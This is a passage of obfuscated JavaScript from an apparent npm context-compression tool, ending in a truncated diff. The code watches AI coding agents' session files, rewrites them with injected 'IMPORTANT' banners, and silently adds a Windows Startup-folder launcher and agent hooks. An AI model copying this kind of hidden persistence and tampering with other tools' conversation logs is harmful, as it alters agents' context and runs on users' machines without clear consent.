IE','claude','Start\x20Menu','existsSync','copilot','4886cUaexz','modified','basename','getAgentStoragePaths','.claude','.codex','saveConfig','./hooks/claude-hook','34672627nsXGsz','renameSync','message','statSync','14511820kcxCup','homedir','fullPath','platform','toISOString','2408625miCUaH','isDirectory','create','saveChunk','__importStar','cortex','.gemini','5061411sFjyQW','gemini','lineCount','AppData','storage','isFile','conv_','toLowerCase','trim','loadConfig','savedTokens','compressed_tokens','sideCacheSaved','content','installWindowsStartupService','chunk_id','Local','active_turn','logExecution','User','8zJAWeC','readdirSync','readFileSync','.openclaw','4qvTuTp','replace','1181586audkTp','repeat','`\x0a>\x20Retrieve\x20with:\x20`trim\x20retrieve\x20','aider','includes','opencode','.tmp','mkdirSync','ceil','Summary:\x20Content\x20offloaded\x20(','github-copilot-cli','writeFileSync','image_','size','string','Application\x20Support','has','endsWith','default','split','\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20The\x20raw\x20content\x20of\x20this\x20step\x20(','prototype','6492IEAQqA'];a0_0x3fd7=function(){return _0x1eeed6;};return a0_0x3fd7();}const a0_0x5aff7f=a0_0x495a;(function(_0x521a68,_0x85e061){const _0x2f81d6=a0_0x495a,_0x185be0=_0x521a68();while(!![]){try{const _0x55769f=-parseInt(_0x2f81d6(0x134))/0x1*(-parseInt(_0x2f81d6(0xdc))/0x2)+parseInt(_0x2f81d6(0x113))/0x3+parseInt(_0x2f81d6(0x132))/0x4*(parseInt(_0x2f81d6(0xfd))/0x5)+-parseInt(_0x2f81d6(0x14a))/0x6*(parseInt(_0x2f81d6(0x102))/0x7)+parseInt(_0x2f81d6(0x12e))/0x8*(parseInt(_0x2f81d6(0x11a))/0x9)+parseInt(_0x2f81d6(0x10e))/0xa+-parseInt(_0x2f81d6(0x10a))/0xb*(parseInt(_0x2f81d6(0x14e))/0xc);if(_0x55769f===_0x85e061)break;else _0x185be0['push'](_0x185be0['shift']());}catch(_0x207f4b){_0x185be0['push'](_0x185be0['shift']());}}}(a0_0x3fd7,0xd2c6b));var __createBinding=this&&this['__createBinding']||(Object[a0_0x5aff7f(0x115)]?function(_0x23ebd6,_0x145129,_0x208e95,_0x3c6032){const _0x50ee1f=a0_0x5aff7f;if(_0x3c6032===undefined)_0x3c6032=_0x208e95;var _0x52f4a6=Object[_0x50ee1f(0x150)](_0x145129,_0x208e95);(!_0x52f4a6||(_0x50ee1f(0xc4)in _0x52f4a6?!_0x145129['__esModule']:_0x52f4a6['writable']||_0x52f4a6[_0x50ee1f(0xe7)]))&&(_0x52f4a6={'enumerable':!![],'get':function(){return _0x145129[_0x208e95];}}),Object['defineProperty'](_0x23ebd6,_0x3c6032,_0x52f4a6);}:function(_0x20d10d,_0x344617,_0x4d8fe4,_0x53eeb8){if(_0x53eeb8===undefined)_0x53eeb8=_0x4d8fe4;_0x20d10d[_0x53eeb8]=_0x344617[_0x4d8fe4];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x5aff7f(0x115)]?function(_0x30c3b4,_0x4f8c4c){const _0x1d198e=a0_0x5aff7f;Object['defineProperty'](_0x30c3b4,_0x1d198e(0x146),{'enumerable':!![],'value':_0x4f8c4c});}:function(_0x1d8880,_0x2ec059){const _0x30ae82=a0_0x5aff7f;_0x1d8880[_0x30ae82(0x146)]=_0x2ec059;}),__importStar=this&&this[a0_0x5aff7f(0x117)]||(function(){var _0x7a4852=function(_0x184aad){return _0x7a4852=Object['getOwnPropertyNames']||function(_0x73429e){const _0x28ead8=a0_0x495a;var _0x2a2cca=[];for(var _0x1f88f5 in _0x73429e)if(Object[_0x28ead8(0x149)]['hasOwnProperty'][_0x28ead8(0xe3)](_0x73429e,_0x1f88f5))_0x2a2cca[_0x2a2cca[_0x28ead8(0xe4)]]=_0x1f88f5;return _0x2a2cca;},_0x7a4852(_0x184aad);};return function(_0x5d8823){const _0x11bbc3=a0_0x495a;if(_0x5d8823&&_0x5d8823[_0x11bbc3(0xe8)])return _0x5d8823;var _0x332236={};if(_0x5d8823!=null){for(var _0x36cc3f=_0x7a4852(_0x5d8823),_0x59f837=0x0;_0x59f837<_0x36cc3f[_0x11bbc3(0xe4)];_0x59f837++)if(_0x36cc3f[_0x59f837]!==_0x11bbc3(0x146))__createBinding(_0x332236,_0x5d8823,_0x36cc3f[_0x59f837]);}return __setModuleDefault(_0x332236,_0x5d8823),_0x332236;};}());Object[a0_0x5aff7f(0xf5)](exports,a0_0x5aff7f(0xe8),{'value':!![]}),exports[a0_0x5aff7f(0x123)]=loadConfig,exports[a0_0x5aff7f(0x108)]=saveConfig,exports[a0_0x5aff7f(0x105)]=getAgentStoragePaths,exports[a0_0x5aff7f(0xbb)]=getLatestSessionFile,exports[a0_0x5aff7f(0x151)]=loadSessionsState,exports[a0_0x5aff7f(0xda)]=processSessionFile,exports[a0_0x5aff7f(0x128)]=installWindowsStartupService,exports[a0_0x5aff7f(0x14b)]=startWatcherDaemon;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),cache_manager_1=require(a0_0x5aff7f(0xcb)),tracker_1=require(a0_0x5aff7f(0xfc)),baseDir=path['join'](os[a0_0x5aff7f(0x10f)](),'.trimprompt'),configPath=path[a0_0x5aff7f(0xdb)](baseDir,'config.json'),DEFAULT_CONFIG={'autostart_enabled':!![],'conversation_toggles':{'conv_claude':!![],'conv_codex':!![],'conv_cursor':!![],'conv_aider':!![],'conv_copilot':!![],'conv_openclaw':!![],'conv_opencode':!![],'conv_cortex':!![]},'custom_storage_paths':{'claude':null,'codex':null,'cursor':null,'aider':null,'copilot':null,'openclaw':null,'opencode':null,'cortex':null}};function loadConfig(){const _0x5b0f25=a0_0x5aff7f;try{if(!fs[_0x5b0f25(0x100)](baseDir))fs[_0x5b0f25(0x13b)](baseDir,{'recursive':!![]});if(fs['existsSync'](configPath)){const _0x165641=JSON['parse'](fs[_0x5b0f25(0x130)](configPath,_0x5b0f25(0xfa)));return{...DEFAULT_CONFIG,..._0x165641,'conversation_toggles':{...DEFAULT_CONFIG['conversation_toggles'],..._0x165641[_0x5b0f25(0xe1)]||{}},'custom_storage_paths':{...DEFAULT_CONFIG[_0x5b0f25(0xd9)],..._0x165641[_0x5b0f25(0xd9)]||{}}};}}catch{}return DEFAULT_CONFIG;}function saveConfig(_0x59121d){const _0x367d30=a0_0x5aff7f,_0x35a920=loadConfig(),_0x10b953={..._0x35a920,..._0x59121d,'conversation_toggles':{..._0x35a920[_0x367d30(0xe1)],..._0x59121d[_0x367d30(0xe1)]||{}},'custom_storage_paths':{..._0x35a920[_0x367d30(0xd9)],..._0x59121d[_0x367d30(0xd9)]||{}}};try{if(!fs[_0x367d30(0x100)](baseDir))fs['mkdirSync'](baseDir,{'recursive':!![]});fs[_0x367d30(0x13f)](configPath,JSON[_0x367d30(0xdf)](_0x10b953,null,0x2),_0x367d30(0xfa));}catch{}return _0x10b953;}function getAgentStoragePaths(_0x25305d){const _0x2f2655=a0_0x5aff7f,_0x308d3f=loadConfig(),_0x8eb3d8=_0x308d3f[_0x2f2655(0xd9)][_0x25305d];if(_0x8eb3d8&&fs['existsSync'](_0x8eb3d8))return[_0x8eb3d8];const _0x5dc8b8=os[_0x2f2655(0x10f)](),_0x37188f=process[_0x2f2655(0x111)]===_0x2f2655(0xf1),_0x1a86c8=process['platform']===_0x2f2655(0xf9);switch(_0x25305d){case _0x2f2655(0xfe):return[path[_0x2f2655(0xdb)](_0x5dc8b8,_0x2f2655(0x106),_0x2f2655(0xcc)),path[_0x2f2655(0xdb)](_0x5dc8b8,_0x2f2655(0x106),'history')];case'codex':return[path[_0x2f2655(0xdb)](_0x5dc8b8,_0x2f2655(0x107),_0x2f2655(0xd2)),path['join'](_0x5dc8b8,_0x2f2655(0x11d),'Roaming',_0x2f2655(0xba))];case _0x2f2655(0x11b):return[path[_0x2f2655(0xdb)](_0x5dc8b8,_0x2f2655(0x119),'antigravity'),path['join'](_0x5dc8b8,'.gemini'),path[_0x2f2655(0xdb)](_0x5dc8b8,'AppData',_0x2f2655(0xd0),_0x2f2655(0xd7)),path[_0x2f2655(0xdb)](_0x5dc8b8,'.config',_0x2f2655(0x11b))];case _0x2f2655(0xe0):if(_0x37188f)return[path[_0x2f2655(0xdb)](_0x5dc8b8,_0x2f2655(0x11d),_0x2f2655(0xd0),_0x2f2655(0xe9),_0x2f2655(0x12d),_0x2f2655(0xf2))];if(_0x1a86c8)return[path[_0x2f2655(0xdb)](_0x5dc8b8,_0x2f2655(0xee),_0x2f2655(0x143),'Cursor',_0x2f2655(0x12d),'workspaceStorage')];return[path[_0x2f2655(0xdb)](_0x5dc8b8,'.config',_0x2f2655(0xe9),_0x2f2655(0x12d),_0x2f2655(0xf2))];case _0x2f2655(0x137):return[process[_0x2f2655(0xfb)](),path['join'](_0x5dc8b8,_0x2f2655(0xd3))];case _0x2f2655(0x101):if(_0x37188f)return[path[_0x2f2655(0xdb)](_0x5dc8b8,_0x2f2655(0x11d),_0x2f2655(0x12a),'github-copilot-cli')];return[path[_0x2f2655(0xdb)](_0x5dc8b8,_0x2f2655(0xc1),_0x2f2655(0x13e))];case _0x2f2655(0xd6):return[path[_0x2f2655(0xdb)](_0x5dc8b8,_0x2f2655(0x131),_0x2f2655(0x11e)),path[_0x2f2655(0xdb)](process[_0x2f2655(0xfb)](),'.openclaw',_0x2f2655(0xb9))];case _0x2f2655(0x139):return[path[_0x2f2655(0xdb)](_0x5dc8b8,_0x2f2655(0xbd),_0x2f2655(0xd2))];case _0x2f2655(0x118):return[path[_0x2f2655(0xdb)](_0x5dc8b8,'.cortex',_0x2f2655(0xde))];default:return[];}}function getLatestSessionFile(_0x4fe822){const _0x239244=a0_0x5aff7f,_0x13bd19=getAgentStoragePaths(_0x4fe822);let _0xfce739=null,_0x671c41=0x0,_0x3a934f=null,_0x155bee=null;for(const _0x36459a of _0x13bd19){if(fs[_0x239244(0x100)](_0x36459a)){if(!_0x155bee)_0x155bee=_0x36459a;const _0xcefab5=(_0x47d06f,_0x3c92d6=0x0)=>{const _0x538e1a=_0x239244;if(_0x3c92d6>0x3)return;try{const _0x19e03f=fs[_0x538e1a(0x12f)](_0x47d06f,{'withFileTypes':!![]});for(const _0x546f7d of _0x19e03f){const _0x1d2eb9=path[_0x538e1a(0xdb)](_0x47d06f,_0x546f7d['name']);if(_0x546f7d[_0x538e1a(0x114)]())_0xcefab5(_0x1d2eb9,_0x3c92d6+0x1);else{if(_0x546f7d[_0x538e1a(0x11f)]()&&!_0x546f7d['name'][_0x538e1a(0xc6)]('.')){const _0x31ce28=_0x546f7d[_0x538e1a(0xf8)][_0x538e1a(0x121)]();if(_0x31ce28['endsWith']('.png')||_0x31ce28['endsWith'](_0x538e1a(0xc8))||_0x31ce28['endsWith']('.jpeg')||_0x31ce28['endsWith'](_0x538e1a(0xcf))||_0x31ce28[_0x538e1a(0x145)](_0x538e1a(0x14f))||_0x31ce28[_0x538e1a(0x145)](_0x538e1a(0xec))||_0x31ce28[_0x538e1a(0x145)](_0x538e1a(0xf4))||_0x31ce28[_0x538e1a(0x145)](_0x538e1a(0xef))||_0x31ce28[_0x538e1a(0x145)](_0x538e1a(0x13a))||_0x31ce28['endsWith']('.lock')||_0x31ce28[_0x538e1a(0x145)]('.dat')||_0x31ce28[_0x538e1a(0xc6)]('media__')||_0x31ce28['startsWith'](_0x538e1a(0x140)))continue;const _0x24e23d=fs['statSync'](_0x1d2eb9);_0x24e23d[_0x538e1a(0xbc)]>_0x671c41&&(_0x671c41=_0x24e23d[_0x538e1a(0xbc)],_0xfce739=_0x546f7d[_0x538e1a(0xf8)],_0x3a934f=_0x1d2eb9,_0x155bee=_0x36459a);}}}}catch{}};_0xcefab5(_0x36459a);}}return{'fileName':_0xfce739,'lastModified':_0x671c41>0x0?new Date(_0x671c41)[_0x239244(0x112)]():null,'fullPath':_0x3a934f,'dirPath':_0x155bee};}const debounceTimers=new Map(),lastLoggedTimes=new Map();function compressMessageContent(_0xd85414,_0x38425f,_0x47938b){const _0x3f4892=a0_0x5aff7f;let _0x5cd7c9=![],_0x2721f4=0x0;if(!_0xd85414)return{'modified':_0x5cd7c9,'savedTokens':_0x2721f4};const _0x578a48=_0xdc2676=>_0xdc2676[_0x3f4892(0x133)](/\r\n/g,'\x0a')[_0x3f4892(0x133)](/\n{3,}/g,'\x0a\x0a');if(typeof _0xd85414[_0x3f4892(0x127)]===_0x3f4892(0x142)){let _0x52046d=_0xd85414[_0x3f4892(0x127)],_0x3fd31e=_0x578a48(_0x52046d);_0x3fd31e[_0x3f4892(0xe4)]<_0x52046d['length']&&(_0xd85414['content']=_0x3fd31e,_0x5cd7c9=!![],_0x2721f4+=Math[_0x3f4892(0x13c)]((_0x52046d[_0x3f4892(0xe4)]-_0x3fd31e[_0x3f4892(0xe4)])/0x4));if(_0xd85414[_0x3f4892(0x127)][_0x3f4892(0xe4)]>0x12c&&!_0xd85414['content']['includes'](_0x3f4892(0xd8))){const _0x3f79f=_0x3f4892(0x13d)+Math[_0x3f4892(0x13c)](_0xd85414[_0x3f4892(0x127)][_0x3f4892(0xe4)]/0x4)+_0x3f4892(0xb8),_0x128f14=(0x0,cache_manager_1[_0x3f4892(0x116)])(_0x38425f,_0x47938b,_0xd85414[_0x3f4892(0x127)],_0x3f79f);_0xd85414[_0x3f4892(0x127)]=_0x3f4892(0x148)+_0x128f14[_0x3f4892(0xea)]+_0x3f4892(0xf7)+_0x128f14[_0x3f4892(0x129)]+_0x3f4892(0xf6)+_0x128f14[_0x3f4892(0x129)]+'`\x0a',_0x5cd7c9=!![],_0x2721f4+=Math['max'](0x0,_0x128f14[_0x3f4892(0xea)]-_0x128f14[_0x3f4892(0x125)]);}}else{if(Array[_0x3f4892(0xdd)](_0xd85414[_0x3f4892(0x127)]))for(const _0x35c93a of _0xd85414[_0x3f4892(0x127)]){if(_0x35c93a&&typeof _0x35c93a===_0x3f4892(0xca)){if(typeof _0x35c93a[_0x3f4892(0xc5)]===_0x3f4892(0x142)){let _0x317554=_0x35c93a[_0x3f4892(0xc5)],_0x3fa44e=_0x578a48(_0x317554);_0x3fa44e[_0x3f4892(0xe4)]<_0x317554['length']&&(_0x35c93a['text']=_0x3fa44e,_0x5cd7c9=!![],_0x2721f4+=Math[_0x3f4892(0x13c)]((_0x317554[_0x3f4892(0xe4)]-_0x3fa44e[_0x3f4892(0xe4)])/0x4));if(_0x35c93a[_0x3f4892(0xc5)][_0x3f4892(0xe4)]>0x12c&&!_0x35c93a[_0x3f4892(0xc5)][_0x3f4892(0x138)](_0x3f4892(0xd8))){const _0x117713=_0x3f4892(0xed)+Math[_0x3f4892(0x13c)](_0x35c93a[_0x3f4892(0xc5)][_0x3f4892(0xe4)]/0x4)+_0x3f4892(0xb8),_0x333065=(0x0,cache_manager_1['saveChunk'])(_0x38425f,_0x47938b,_0x35c93a[_0x3f4892(0xc5)],_0x117713);_0x35c93a[_0x3f4892(0xc5)]=_0x3f4892(0xd1)+_0x333065[_0x3f4892(0x129)]+'`\x0a>\x20Retrieve\x20with:\x20`trim\x20retrieve\x20'+_0x333065[_0x3f4892(0x129)]+'`\x0a',_0x5cd7c9=!![],_0x2721f4+=Math[_0x3f4892(0xe6)](0x0,_0x333065[_0x3f4892(0xea)]-_0x333065[_0x3f4892(0x125)]);}}else{if(typeof _0x35c93a[_0x3f4892(0x127)]===_0x3f4892(0x142)){let _0x58fd9e=_0x35c93a[_0x3f4892(0x127)],_0x3321be=_0x578a48(_0x58fd9e);_0x3321be['length']<_0x58fd9e[_0x3f4892(0xe4)]&&(_0x35c93a[_0x3f4892(0x127)]=_0x3321be,_0x5cd7c9=!![],_0x2721f4+=Math['ceil']((_0x58fd9e[_0x3f4892(0xe4)]-_0x3321be[_0x3f4892(0xe4)])/0x4));if(_0x35c93a[_0x3f4892(0x127)][_0x3f4892(0xe4)]>0x12c&&!_0x35c93a['content']['includes'](_0x3f4892(0xd8))){const _0x422852='Summary:\x20Tool\x20result\x20offloaded\x20('+Math[_0x3f4892(0x13c)](_0x35c93a[_0x3f4892(0x127)][_0x3f4892(0xe4)]/0x4)+_0x3f4892(0xb8),_0x2758fe=(0x0,cache_manager_1[_0x3f4892(0x116)])(_0x38425f,_0x47938b,_0x35c93a[_0x3f4892(0x127)],_0x422852);_0x35c93a['content']=_0x3f4892(0xd1)+_0x2758fe[_0x3f4892(0x129)]+_0x3f4892(0x136)+_0x2758fe[_0x3f4892(0x129)]+'`\x0a',_0x5cd7c9=!![],_0x2721f4+=Math[_0x3f4892(0xe6)](0x0,_0x2758fe[_0x3f4892(0xea)]-_0x2758fe[_0x3f4892(0x125)]);}}}}}}return{'modified':_0x5cd7c9,'savedTokens':_0x2721f4};}const sessionsStatePath=path[a0_0x5aff7f(0xdb)](baseDir,'sessions_state.json');let sessionsStateMemoryCache=null;function a0_0x495a(_0x3dc4d2,_0x5c7e6a){const _0x3fd77b=a0_0x3fd7();return a0_0x495a=function(_0x495a92,_0x53bc17){_0x495a92=_0x495a92-0xb7;let _0xf0839b=_0x3fd77b[_0x495a92];return _0xf0839b;},a0_0x495a(_0x3dc4d2,_0x5c7e6a);}function loadSessionsState(){const _0x4a9d48=a0_0x5aff7f;try{if(fs[_0x4a9d48(0x100)](sessionsStatePath)){const _0x414740=JSON[_0x4a9d48(0xc2)](fs['readFileSync'](sessionsStatePath,_0x4a9d48(0xfa)));if(_0x414740&&typeof _0x414740==='object')return sessionsStateMemoryCache=_0x414740,_0x414740;}}catch{}return sessionsStateMemoryCache||{};}function saveSessionStateItem(_0x5826dd,_0x292ece,_0x12a98d,_0x11354f=0x0,_0x132a4a=0x0){const _0x48e978=a0_0x5aff7f;try{const _0xdaa53c=loadSessionsState();_0xdaa53c[_0x5826dd]={'lineCount':_0x292ece,'activeSavedTokens':_0x12a98d,'sideCacheSaved':_0x11354f,'officialCompactSaved':_0x132a4a},sessionsStateMemoryCache=_0xdaa53c;if(!fs[_0x48e978(0x100)](baseDir))fs['mkdirSync'](baseDir,{'recursive':!![]});const _0x392ef0=sessionsStatePath+_0x48e978(0x13a);fs['writeFileSync'](_0x392ef0,JSON[_0x48e978(0xdf)](_0xdaa53c,null,0x2),_0x48e978(0xfa)),fs[_0x48e978(0x10b)](_0x392ef0,sessionsStatePath);}catch{}}function processSessionFile(_0x4db657,_0x13df88){const _0x2336a6=a0_0x5aff7f;try{if(!fs[_0x2336a6(0x100)](_0x4db657))return;const _0x5b8174=fs[_0x2336a6(0x10d)](_0x4db657);if(_0x5b8174['isDirectory']()||_0x5b8174[_0x2336a6(0x141)]===0x0)return;const _0x2a496d=loadConfig(),_0x50c8e4=_0x2336a6(0x120)+_0x13df88;if(_0x2a496d['conversation_toggles'][_0x50c8e4]===![])return;const _0x41e758=fs[_0x2336a6(0x130)](_0x4db657,_0x2336a6(0xfa));let _0x4be9e6=![],_0x2f9f8f=_0x41e758,_0xc47871=0x0;const _0x48d277=path['extname'](_0x4db657)[_0x2336a6(0x121)](),_0x21515a=path[_0x2336a6(0x104)](_0x4db657,_0x48d277);let _0x52c22e=0x1;if(_0x13df88!==_0x2336a6(0xfe)){if(_0x48d277==='.json')try{const _0x17c388=JSON['parse'](_0x41e758),_0x25a77d=Array[_0x2336a6(0xdd)](_0x17c388[_0x2336a6(0xc7)])?_0x17c388[_0x2336a6(0xc7)]:Array['isArray'](_0x17c388)?_0x17c388:null;if(_0x25a77d){_0x52c22e=_0x25a77d['length'];for(let _0xbdf007=0x0;_0xbdf007<_0x25a77d[_0x2336a6(0xe4)];_0xbdf007++){const _0x40a345=compressMessageContent(_0x25a77d[_0xbdf007],_0x21515a,_0x13df88);_0x40a345[_0x2336a6(0x103)]&&(_0x4be9e6=!![],_0xc47871+=_0x40a345['savedTokens']);}_0x4be9e6&&(_0x2f9f8f=JSON[_0x2336a6(0xdf)](_0x17c388,null,0x2));}}catch{}else{if(_0x48d277==='.jsonl'||_0x48d277===_0x2336a6(0xf0))try{const _0x4ab6ad=_0x41e758[_0x2336a6(0x147)]('\x0a');_0x52c22e=_0x4ab6ad['length'];const _0x7cddfd=[];for(let _0x41c4be of _0x4ab6ad){if(!_0x41c4be[_0x2336a6(0x122)]()){_0x7cddfd['push'](_0x41c4be);continue;}try{const _0x334c58=JSON[_0x2336a6(0xc2)](_0x41c4be),_0x53a6c0=_0x334c58[_0x2336a6(0x10c)]||_0x334c58;if(_0x53a6c0){const _0x295bd2=compressMessageContent(_0x53a6c0,_0x21515a,_0x13df88);_0x295bd2[_0x2336a6(0x103)]&&(_0x4be9e6=!![],_0xc47871+=_0x295bd2[_0x2336a6(0x124)],_0x41c4be=JSON[_0x2336a6(0xdf)](_0x334c58));}}catch{}_0x7cddfd[_0x2336a6(0xb7)](_0x41c4be);}_0x4be9e6&&(_0x2f9f8f=_0x7cddfd[_0x2336a6(0xdb)]('\x0a'));}catch{}}}else(_0x48d277==='.jsonl'||_0x48d277===_0x2336a6(0xf0))&&(_0x52c22e=_0x41e758['split']('\x0a')[_0x2336a6(0xc0)](Boolean)['length']);let _0x3d2676=0x0;const _0x509b5c=_0x41e758[_0x2336a6(0xe5)](/(?:Compacted conversation\s*·\s*)?saved\s*([\d\.]+)k?\s*tokens/gi);for(const _0x14ab95 of _0x509b5c){let _0x1de867=parseFloat(_0x14ab95[0x1]);_0x14ab95[0x0][_0x2336a6(0x121)]()[_0x2336a6(0x138)]('k')&&(_0x1de867=_0x1de867*0x3e8),_0x3d2676+=Math[_0x2336a6(0xcd)](_0x1de867);}const _0x3e5523=loadSessionsState(),_0x31e6e5=_0x3e5523[_0x4db657],_0x3a340d=_0x31e6e5&&_0x31e6e5[_0x2336a6(0x126)]!==undefined?_0x31e6e5[_0x2336a6(0x126)]:0x0,_0x21b178=_0x31e6e5&&_0x31e6e5['officialCompactSaved']!==undefined?_0x31e6e5[_0x2336a6(0xc9)]:_0x31e6e5?_0x31e6e5[_0x2336a6(0xce)]:0x0,_0x1777ec=_0x31e6e5?_0x31e6e5[_0x2336a6(0x11c)]:0x0,_0x1c33e3=_0x52c22e>_0x1777ec;let _0x374bab=_0x3a340d,_0x137f25=Math['max'](_0x21b178,_0x3d2676);if(_0x4be9e6){fs['writeFileSync'](_0x4db657,_0x2f9f8f,_0x2336a6(0xfa)),_0x374bab+=_0xc47871;const _0x5ae2b5=_0x374bab+_0x137f25;saveSessionStateItem(_0x4db657,_0x52c22e,_0x5ae2b5,_0x374bab,_0x137f25);const _0x589ff6='x'[_0x2336a6(0x135)](_0x5ae2b5*0x4);tracker_1['tracker'][_0x2336a6(0x12c)](_0x2336a6(0x14d)+_0x13df88,_0x589ff6,'',0x0,undefined,[_0x2336a6(0x120)+_0x13df88,_0x2336a6(0xd5),_0x13df88,_0x2336a6(0x14c)]);}else{if(_0x3d2676>_0x21b178){_0x137f25=_0x3d2676;const _0x7e0686=_0x374bab+_0x137f25;saveSessionStateItem(_0x4db657,_0x52c22e,_0x7e0686,_0x374bab,_0x137f25);const _0x108945='x'[_0x2336a6(0x135)](_0x7e0686*0x4);tracker_1[_0x2336a6(0xeb)][_0x2336a6(0x12c)](_0x2336a6(0x14d)+_0x13df88,_0x108945,'',0x0,undefined,[_0x2336a6(0x120)+_0x13df88,'live-conv',_0x13df88,'official_compact']);}else{if(_0x1c33e3){const _0x1d0649=_0x374bab+_0x137f25;saveSessionStateItem(_0x4db657,_0x52c22e,_0x1d0649,_0x374bab,_0x137f25);if(_0x1d0649>0x0){const _0x27776a='x'['repeat'](_0x1d0649*0x4);tracker_1[_0x2336a6(0xeb)][_0x2336a6(0x12c)](_0x2336a6(0x14d)+_0x13df88,_0x27776a,'',0x0,undefined,[_0x2336a6(0x120)+_0x13df88,_0x2336a6(0xd5),_0x13df88,_0x2336a6(0x12b)]);}}else{const _0x3fce0e=_0x374bab+_0x137f25;saveSessionStateItem(_0x4db657,_0x52c22e,_0x3fce0e,_0x374bab,_0x137f25);}}}}catch{}}function installWindowsStartupService(){const _0x134256=a0_0x5aff7f;if(process['platform']!=='win32')return;try{const _0x2de18c=path['join'](os[_0x134256(0x10f)](),_0x134256(0x11d),_0x134256(0xd0),_0x134256(0xe2),_0x134256(0xbf),_0x134256(0xff),_0x134256(0xf3),_0x134256(0x152));if(!fs['existsSync'](_0x2de18c))fs[_0x134256(0x13b)](_0x2de18c,{'recursive':!![]});const _0x171b78=path[_0x134256(0xdb)](_0x2de18c,_0x134256(0xd4)),_0x3d368a=path[_0x134256(0xdb)](__dirname,'cli.js'),_0x836a63=_0x3d368a[_0x134256(0x133)](/\\/g,'\x5c\x5c'),_0x1e0d5f='Set\x20WshShell\x20=\x20CreateObject(\x22WScript.Shell\x22)\x0aWshShell.Run\x20\x22node\x20\x22\x22\x22\x20&\x20\x22'+_0x836a63+_0x134256(0xc3);fs['writeFileSync'](_0x171b78,_0x1e0d5f,'utf8');}catch{}}function startWatcherDaemon(){const _0x50021c=a0_0x5aff7f;installWindowsStartupService();try{const {installClaudeHooks:_0x26bcd4}=require(_0x50021c(0x109));_0x26bcd4();}catch(_0x4669b9){}const _0xb64e52=['claude',_0x50021c(0x11b),_0x50021c(0xbe),_0x50021c(0xe0),_0x50021c(0x137),'copilot','openclaw',_0x50021c(0x139),_0x50021c(0x118)];for(const _0x16c126 of _0xb64e52){const _0x8a4219=getAgentStoragePaths(_0x16c126);for(const _0x3da3e3 of _0x8a4219){if(fs[_0x50021c(0x100)](_0x3da3e3))try{fs['watch'](_0x3da3e3,{'recursive':!![]},(_0x5ccf14,_0x31e3c0)=>{const _0x4c3ae0=_0x50021c;if(!_0x31e3c0)return;const _0x1dab88=path['join'](_0x3da3e3,_0x31e3c0);if(debounceTimers[_0x4c3ae0(0x144)](_0x1dab88))clearTimeout(debounceTimers['get'](_0x1dab88));const _0x5e0c15=setTimeout(()=>processSessionFile(_0x1dab88,_0x16c126),0x1f4);debounceTimers['set'](_0x1dab88,_0x5e0c15);});}catch{}}}setInterval(()=>{const _0x96c8cd=_0x50021c;for(const _0x211b97 of _0xb64e52){try{const _0x5204be=getLatestSessionFile(_0x211b97);_0x5204be&&_0x5204be['fullPath']&&processSessionFile(_0x5204be[_0x96c8cd(0x110)],_0x211b97);}catch{}}},0xbb8);}
package/filters/devops.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x268fa7=a0_0x43dc;(function(_0x150307,_0x52ab1e){const _0x18d317=a0_0x43dc,_0x177bad=_0x150307();while(!![]){try{const _0x143653=-parseInt(_0x18d317(0x105))/0x1*(-parseInt(_0x18d317(0xf4))/0x2)+-parseInt(_0x18d317(0x11a))/0x3+-parseInt(_0x18d317(0x111))/0x4*(-parseInt(_0x18d317(0x10e))/0x5)+-parseInt(_0x18d317(0x113))/0x6*(parseInt(_0x18d317(0xeb))/0x7)+parseInt(_0x18d317(0xec))/0x8+-parseInt(_0x18d317(0xea))/0x9*(-parseInt(_0x18d317(0x100))/0xa)+-parseInt(_0x18d317(0xf3))/0xb;if(_0x143653===_0x52ab1e)break;else _0x177bad['push'](_0x177bad['shift']());}catch(_0x1b1f9a){_0x177bad['push'](_0x177bad['shift']());}}}(a0_0x3e74,0xd91e7));Object[a0_0x268fa7(0xf2)](exports,a0_0x268fa7(0x11c),{'value':!![]}),exports[a0_0x268fa7(0x102)]=filterDockerPs,exports[a0_0x268fa7(0x11b)]=filterDockerImages,exports[a0_0x268fa7(0x115)]=filterDockerLogs,exports[a0_0x268fa7(0xee)]=filterKubectl,exports[a0_0x268fa7(0xf0)]=filterRuff;function a0_0x43dc(_0x2da4d8,_0x313aee){const _0x3e74eb=a0_0x3e74();return a0_0x43dc=function(_0x43dc80,_0x52c78a){_0x43dc80=_0x43dc80-0xe7;let _0x19d990=_0x3e74eb[_0x43dc80];return _0x19d990;},a0_0x43dc(_0x2da4d8,_0x313aee);}function filterDockerPs(_0x27c3da){const _0x26324d=a0_0x268fa7,_0xa066a5=_0x27c3da[_0x26324d(0xe7)]('\x0a')['filter'](_0x435de1=>_0x435de1[_0x26324d(0xfb)]()[_0x26324d(0x10c)]>0x0);if(_0xa066a5[_0x26324d(0x10c)]===0x0)return _0x26324d(0x10b);if(_0xa066a5[_0x26324d(0x10c)]<=0xa)return _0x27c3da[_0x26324d(0xfb)]();const _0x1db453=_0xa066a5[0x0],_0x16d889=_0xa066a5[_0x26324d(0x107)](0x1),_0xf19ce=[];_0xf19ce[_0x26324d(0xf7)](_0x26324d(0x112)+_0x16d889['length']+_0x26324d(0xf9)),_0xf19ce[_0x26324d(0xf7)]('');for(const _0x1832b0 of _0x16d889){const _0x1403fe=_0x1832b0[_0x26324d(0xe7)](/\s{2,}/);if(_0x1403fe['length']>=0x5){const _0x587848=_0x1403fe[0x0][_0x26324d(0x10a)](0x0,0xc),_0x585e97=_0x1403fe[0x1],_0x4bf87c=_0x1403fe[_0x1403fe[_0x26324d(0x10c)]-0x2]||'',_0x3cef04=_0x1403fe[_0x1403fe[_0x26324d(0x10c)]-0x1]||'';_0xf19ce[_0x26324d(0xf7)]('\x20\x20'+_0x587848+'\x20\x20'+_0x585e97+'\x20\x20'+_0x4bf87c+'\x20\x20'+_0x3cef04);}else _0xf19ce['push']('\x20\x20'+_0x1832b0[_0x26324d(0xfb)]());}return _0xf19ce['join']('\x0a');}function filterDockerImages(_0x3a9dfd){const _0x403e40=a0_0x268fa7,_0x1ee3a0=_0x3a9dfd['split']('\x0a')[_0x403e40(0xff)](_0x1e3577=>_0x1e3577['trim']()[_0x403e40(0x10c)]>0x0);if(_0x1ee3a0[_0x403e40(0x10c)]<=0x1)return _0x403e40(0xf1);if(_0x1ee3a0[_0x403e40(0x10c)]<=0xf)return 